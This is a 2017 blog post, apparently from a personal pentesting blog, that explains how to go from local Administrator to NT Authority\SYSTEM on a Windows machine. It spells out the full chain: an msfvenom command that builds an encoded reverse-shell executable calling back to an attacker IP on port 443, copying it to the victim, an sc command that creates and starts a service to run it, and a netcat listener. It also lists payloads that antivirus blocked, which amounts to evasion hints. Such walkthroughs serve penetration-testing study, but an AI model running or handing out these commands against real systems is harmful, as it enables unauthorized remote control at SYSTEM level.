Friday, June 30, 2017

Elevate from Admin to NT Authority\SYSTEM

Elevate from Admin to NT Authority\SYSTEM


The other day I gained Administrative access to a windows machine. While I was enumerating around, I had the urge to escalate to the most powerful account on a Windows local instance: NT Authority\SYSTEM.

I realized there weren't a lot of posts online about it. I figured I'd give the steps I did in order to accomplish this task.




We first need to have some Prerequisites:
  • Attacker Machine (In my case, I am using IP 192.168.56.102) with msfvenom and netcat
  • Victim Machine (192.168.56.1) running as Admin
Below are the steps needed in order to accomplish this task.

We begin by confirming we are running as Admin. Let's open a command prompt and type "net sessions" in the terminal. This is a command that only a user with Administrative rights can run and is used to manage server computer connections. There are certainly other ways to test that you are running as Admin, for example, "gpedit.msc" would accomplish this same verification.


We then confirm we have connectivity to the Attacker machine by running a simple ping:


Our next goal is to generate a "EXE" payload that we will upload to the victim machine. This payload will contain a reverse shell back to the attacker machine. We can generate this using msfvenom and the following command:

eric@kali:~$ msfvenom -p windows/shell_reverse_tcp -e x86/shikata_ga_nai LHOST=192.168.56.102 LPORT=443 -b "\x00" -f exe-only -o /tmp/geoda.exe


Below is a brief description of what it all means:
  • -p windows/shell_reverse_tcp = The payload to use
  • -e x86/shikata_ga_nai = The encoder to use. Shikata_ga_nai is an excellent encoder which is a polymorphic XOR Additive Feedback Encoder
  • LHOST=192.168.56.102 = Listening host (Attacker Machine)
  • LPORT=443 = Listening Port (443 is usually allowed outbound). Common ports to use when running reverse shells are port 80, 443 and 53
  • -b "\x00" = A bad character to avoid when generating the payload. \x00 is usually a NULL byte
  • -f exe-only = This is the format to use. I could have used exe or exe-service (runs as a service instead of a process) but chose exe-only :)
  • -o /tmp/geoda.exe = Where to save the payload
Once generated, we will transfer this to our Victim machine. In a real world scenario, this can be done via ftp, sftp, tftp, scp, powershell, etc or just downloading it off a hosted machine on the Internet. In our example, I will transfer it to a shared folder on the Victim machine:

eric@kali:~$ cp /tmp/geoda.exe /media/sf_KaliShare/

We confirm it has been transferred:


With the payload uploaded, we create a new service on the victim machine that will launch our exe:

sc create geoda binpath= "E:\KaliShare\geoda.exe" type= own type= interact


On the Attacker machine, we start our listener with netcat:

eric@kali:~$ sudo nc -nlvp 443


With everything in place, we start our service and see if our reverse shell hits:


sc start geoda



Success! We are now running as NT Authority\SYSTEM

**THINGS TO NOTE**

There were obstacles that prevented a few other methods:

  • We could have created a service with the binpath directing to CMD instead of our generated payload. This would work but it would cause the victim machine to interact with a popup window and change desktops to a new CMD System Level shell. This is more obvious and requires physical access to the machine.
  • The third party AV blocked netcat on the victim machine. My original thoughts were to create a service with the binpath directing towards nc.exe (netcat) and adding my parameters and switches to my attacking machine within the service. However, the third party AV blocked me from uploading netcat and taking this method.
  • While I was using msfvenom to generate my payload, I was unable to use meterpreter due to third party AV blocking it as well. I also tried different payloads that were all unsuccessful. Below is a list of unsuccessful payloads I tested:
    • windows/x64/meterpreter/reverse_tcp
    • windows/x64/shell_reverse_tcp
    • windows/shell/reverse_tcp
    • windows/meterpreter_reverse_tcp
Well, I hope this was beneficial! Until next time!

-geoda




No comments:

Post a Comment